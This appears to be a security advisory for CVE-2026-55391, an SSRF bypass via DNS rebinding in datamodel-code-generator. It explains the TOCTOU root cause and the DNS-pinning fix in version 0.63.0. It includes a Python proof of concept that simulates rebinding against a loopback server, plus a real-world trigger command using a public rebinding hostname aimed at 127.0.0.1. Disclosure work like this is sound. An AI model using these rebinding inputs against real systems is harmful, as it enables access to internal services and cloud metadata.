CVE-2026-55391: datamodel-code-generator SSRF Protection Bypass via DNS Rebinding
datamodel-code-generator validates a URL's resolved IP once before fetching, but lets httpx re-resolve the hostname independently, so an attacker-controlled DNS record that flips from a public IP to…

The problem
In src/datamodel_code_generator/http.py, get_body() calls _validate_url_for_fetch(), which resolves the target hostname with socket.getaddrinfo and rejects non-global addresses. It then calls httpx.get(current_url, ...) with no transport constraint, so httpx performs its own independent DNS resolution.
Nothing ties the connection to the IP that was validated. A hostname with a TTL of 0 or 1 second can resolve to a public address during the guard check and to 127.0.0.1 (or 169.254.169.254) by the time httpx connects. This reaches loopback, cloud instance-metadata endpoints, and any internal HTTP service, even with the default allow_private_network=False.
The attack surface includes --url and any remote $ref in a supplied schema.
Proof of concept
A working proof-of-concept for CVE-2026-55391 in datamodel-code-generator, with the exact payload below.
# Structural PoC (derived from reporter's gist and advisory description).
# Patches socket.getaddrinfo to simulate DNS rebinding:
# - validation call sees 1.2.3.4 (public, passes guard)
# - httpx connection call sees 127.0.0.1 (internal, hits loopback server)
import socket
import threading
from http.server import BaseHTTPRequestHandler, HTTPServer
from unittest import mock
from datamodel_code_generator.http import get_body
# 1. Stand up a loopback server representing the internal target
INTERNAL_RESPONSE = b'{"type": "object", "properties": {"secret": {"type": "string"}}}'
class InternalHandler(BaseHTTPRequestHandler):
def do_GET(self):
self.send_response(200)
self.send_header("Content-Type", "application/json")
self.end_headers()
self.wfile.write(INTERNAL_RESPONSE)
def log_message(self, *a): pass
server = HTTPServer(("127.0.0.1", 18080), InternalHandler)
thread = threading.Thread(target=server.serve_forever, daemon=True)
thread.start()
# 2. Patch getaddrinfo: first call (validation) returns public IP;
# subsequent calls (httpx) return loopback.
call_count = 0
real_getaddrinfo = socket.getaddrinfo
def patched_getaddrinfo(host, port, *args, **kwargs):
global call_count
if host == "rebind.attacker.example":
call_count += 1
if call_count == 1:
# Guard sees a public, globally-routable address -- passes validation
return [(socket.AF_INET, socket.SOCK_STREAM, 6, "", ("1.2.3.4", port or 80))]
else:
# httpx sees loopback -- connects to the internal server
return [(socket.AF_INET, socket.SOCK_STREAM, 6, "", ("127.0.0.1", 18080))]
return real_getaddrinfo(host, port, *args, **kwargs)
with mock.patch("socket.getaddrinfo", side_effect=patched_getaddrinfo):
body = get_body("http://rebind.attacker.example/schema.json")
print("[+] SSRF succeeded. Got internal response:")
print(body)
server.shutdown()
# Real-world trigger (no patching needed -- use a low-TTL rebinding domain):
# datamodel-codegen --url http://<rebinding-hostname>/schema.json --output model.py
# e.g. using a service like 1u.ms:
# datamodel-codegen --url "http://make-1.2.3.4-rebindfor0safter1times-127.0.0.1-rr.1u.ms/schema.json" --output model.pyThe root cause is a TOCTOU gap: _validate_url_for_fetch() resolves the hostname and checks the IP, then discards that result. httpx.get() re-resolves the same hostname string from scratch with no binding to the validated address set (CWE-367 / CWE-350).
The patch at commit 25c8b7e introduces DNS pinning: the validated IP(s) from socket.getaddrinfo are passed into a custom httpx transport (or equivalent connection override) so the actual TCP connection is forced to the same address that was checked. The hostname-to-IP resolution happens exactly once, closing the rebinding window entirely.
The advisory's own PoC gist (thegr1ffyn/c1d54dd6ff2a4c0d7d0dabe00c4985f4) uses the same getaddrinfo monkey-patch technique as the payload above. This proves the structural gap without needing a live rebinding DNS server.
The fix
Upgrade to datamodel-code-generator 0.63.0 or later. The patch (commit 25c8b7e497419eb20b230fa3318c04f9bebc5a6f) pins the IP resolved during SSRF validation to the transport used by httpx, so a single DNS resolution is used for both the check and the connection.
Versions 0.62.0 and earlier are affected. If immediate upgrade is not possible, avoid passing attacker-influenced URLs via --url or in schemas with remote $refs.
Reported by Hamza Haroon (thegr1ffyn).
Related research
- high · 8.2CVE-2026-54691CVE-2026-54691: datamodel-code-generator SSRF via --url
- high · 8.2CVE-2026-54690CVE-2026-54690: datamodel-code-generator SSRF via JSON Schema $ref HTTP URL
- high · 7.8CVE-2026-54654CVE-2026-54654: datamodel-code-generator Code Injection via Carriage Return in --extra-template-data comment
- high · 7.8CVE-2026-54655CVE-2026-54655: datamodel-code-generator Code Injection via x-python-type